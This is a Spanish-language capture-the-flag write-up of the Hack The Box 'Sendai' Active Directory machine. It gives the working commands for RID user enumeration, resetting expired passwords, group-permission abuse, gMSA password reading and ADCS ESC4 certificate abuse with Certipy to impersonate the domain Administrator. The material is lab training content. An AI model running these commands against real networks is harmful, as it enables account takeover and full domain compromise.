Sendai HTB Write Up¶

1. Información del objetivo¶
IP de la máquina: 10.129.43.69
Dominio: sendai.vl
2. Reconocimiento inicial¶
2.1 Escaneo de puertos¶
sudo nmap -sS -p- -n -vvv -Pn --open 10.129.43.69 -oG allPorts
extractPorts allPorts
nmap -sCV -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,3389,5985,9389,49664,49667,62192,63375,63391,64023,64025,64042 10.129.43.69 -oN targeted
Y este es el resultado.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-06 17:48:40Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after: 2026-08-18T12:30:05
443/tcp open ssl/http Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: DNS:dc.sendai.vl
| Not valid before: 2023-07-18T12:39:21
|_Not valid after: 2024-07-18T00:00:00
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: TLS randomness does not represent time
|_http-title: IIS Windows Server
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after: 2026-08-18T12:30:05
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after: 2026-08-18T12:30:05
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after: 2026-08-18T12:30:05
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: SENDAI
| NetBIOS_Domain_Name: SENDAI
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: sendai.vl
| DNS_Computer_Name: dc.sendai.vl
| DNS_Tree_Name: sendai.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-09-06T17:49:35+00:00
|_ssl-date: 2025-09-06T17:50:15+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=dc.sendai.vl
| Not valid before: 2025-04-15T02:26:14
|_Not valid after: 2025-10-15T02:26:14
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
62192/tcp open msrpc Microsoft Windows RPC
63375/tcp open msrpc Microsoft Windows RPC
63391/tcp open msrpc Microsoft Windows RPC
64023/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
64025/tcp open msrpc Microsoft Windows RPC
64042/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time:
| date: 2025-09-06T17:49:38
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
2.2 Enumeración de SMB¶
Si me pongo a enumerar el samba podemos ver que de forma anónimamente puedo logearme y ver que tenemos READ ONLY en el recurso sendai.

Para entrar a este recurso compartido lo he hecho de la siguiente manera.
Aquí he conseguido 2 .txt pero no mucho mas. Por lo tanto he enumerado usuarios de esta manera.
2.3 Enumeración de usuarios válidos¶
netexec smb 10.129.43.69 -u guest -p '' --rid-brute | grep "SidTypeUser" | awk -F'\\\\' '{print $2}' | awk '{print $1}' | tee users.txt
Y tenemos estos usuarios.
Administrator
Guest
krbtgt
DC$
sqlsvc
websvc
Dorothy.Jones
Kerry.Robinson
Naomi.Gardner
Anthony.Smith
Susan.Harper
Stephen.Simpson
Marie.Gallagher
Kathleen.Kelly
Norman.Baxter
Jason.Brady
Elliot.Yates
Malcolm.Smith
Lisa.Williams
Ross.Sullivan
Clifford.Davey
Declan.Jenkins
Lawrence.Grant
Leslie.Johnson
Megan.Edwards
Thomas.Powell
mgtsvc$
Lo que se me ocurre con esta lista de usuarios es probar si uno de ellos tiene la contraseña caducada, por lo tanto voy a ejecutar el siguiente comando.

Y tenemos los usuarios Elliot.Yates y Thomas.Powell al cual podemos cambiar las contraseñas.
Así que voy a cambiarles la contraseña y usar Bloodhound con uno de los usuarios.
netexec smb 10.129.43.69 -u Elliot.Yates -p '' -M change-password -o NEWPASS=Astro@1234!
netexec smb 10.129.43.69 -u Elliot.Yates -p 'Astro@1234!'
3. BloodHound y movimiento lateral¶
Y ya tenemos un usuario el cual usaremos para montarnos el Bloodhound.

Una vez en el Bloodhound podemos ver el siguiente path.

3.1 Abuso de permisos en grupos¶
Así que vamos a abusar del GenericAll hacia el grupo ADMSVC.
Con el siguiente comando hemos añadido el usuario Elliot al grupo ADMSVC.
net rpc group addmem "ADMSVC" "Elliot.Yates" -U "SENDAI"/"Elliot.Yates"%'Astro@1234!' -S "10.129.43.69"
3.2 Lectura de GMSA Password¶
Seguidamente si vemos los permisos que tiene el grupo este podemos ver que podemos abusar de un ReadGMSAPassword .

Para ello he usado el siguiente comando.

3.3 Acceso remoto con credenciales GMSA¶
Este usuario forma parte de la administración remota por lo tanto nos podemos conectar a la maquina y leer la flag en C:\flag.txt .
Get-ChildItem -Path HKLM:\SYSTEM\CurrentControlSet\services | Get-ItemProperty | Select-Object ImagePath
4. Enumeración de servicios locales¶
Enumerando los servicios podemos ver que hay un servicio HelpDesk corriendo con unas credenciales.

5. Explotación de ADCS (Certipy)¶
Lo que se me ocurre hacer con estas credenciales es usar certipy para ver si hay algun certificado vulnerable.
5.1 Detección de plantillas vulnerables (ESC4)¶
certipy find -target sendai.vl -u 'clifford.davey' -p'RFmoB2WplgE_3p' -dc-ip 10.129.43.69 -vulnerable -stdout
En este caso tenemos ESC4. Para abusar he ejecutado los siguientes comandos.
5.2 Modificación de la plantilla de certificado¶
certipy template -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -template SendaiComputer -dc-ip 10.129.43.69 -save-configuration SendaiComputer-original
certipy template -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -template SendaiComputer -dc-ip 10.129.43.69 -write-default-configuration
certipy req -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -target dc.sendai.vl -dc-ip 10.129.43.69 -template SendaiComputer -ca sendai-DC-CA -upn administrator@sendai.vl -sid S-1-5-21-3085872742-570972823-736764132-500
certipy auth -pfx administrator.pfx -dc-ip 10.129.234.66
Con estos comandos estamos creando un certificado ESC1 con el cual luego abusamos y suplantamos la identidad del Administrador.
Y con esto ya tendríamos el hash de Administrador.
5.5 Escalada final y control del DC¶
Con esto hacemos pass the hash y ya tendríamos el dc en nuestro control.

Autor: Astro